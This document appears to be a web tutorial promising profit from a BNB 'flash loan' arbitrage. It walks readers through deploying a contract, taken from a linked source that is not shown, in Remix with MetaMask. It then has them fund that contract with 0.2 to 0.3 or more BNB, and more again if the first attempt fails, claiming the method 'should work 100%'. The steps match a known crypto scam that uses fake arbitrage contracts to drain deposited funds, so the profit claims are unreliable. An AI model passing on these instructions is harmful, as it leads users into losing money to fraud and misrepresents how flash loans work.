Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols and steal millions of dollars.
So, what’s the catch?
A flash loan has to be borrowed and repaid within the same blockchain transaction.
Step By Step Tutorial for Flash Loan:
1. Get the Metamask Extension for your browser
2. Open http://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file flashloans.sol and paste the contract code link below.
5. Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.
6. Connect your MetaMask wallet.
7. Click on the “Solidity Compiler” and set the compiler version to 0.5.0
8. Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”
9. Wait for the code to compile.
10. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
11. On “_TOKENNAME” mytoken
12. On “_TOKENSYMBOL” LOP
13. On “_LOANAMOUNT” 1000
14. Click Transact and confirm the transaction in MetaMask.
15. Wait for the transaction to confirm.
16. Copy the address of the newly deployed contract.
17. Send BNB to the deployed contract to initiate the swap 0.2+ (0.3 up is better as you will get a bigger amount in each swap)
18. Wait for the transaction to confirm.
19. Now, Click “action” (red box) to execute the Flash Loan.
20. Confirm the transaction in MetaMask and wait for the confirmation.
21. You can now check your wallet
Note: if it doesn’t work with 0.2 BNB try to send another 0.2 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing)
Avoid using very low amounts as contract may fail below 0.15 BNB.
Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit.
Make sure to transfer your BNB out to another wallet when you’re done.
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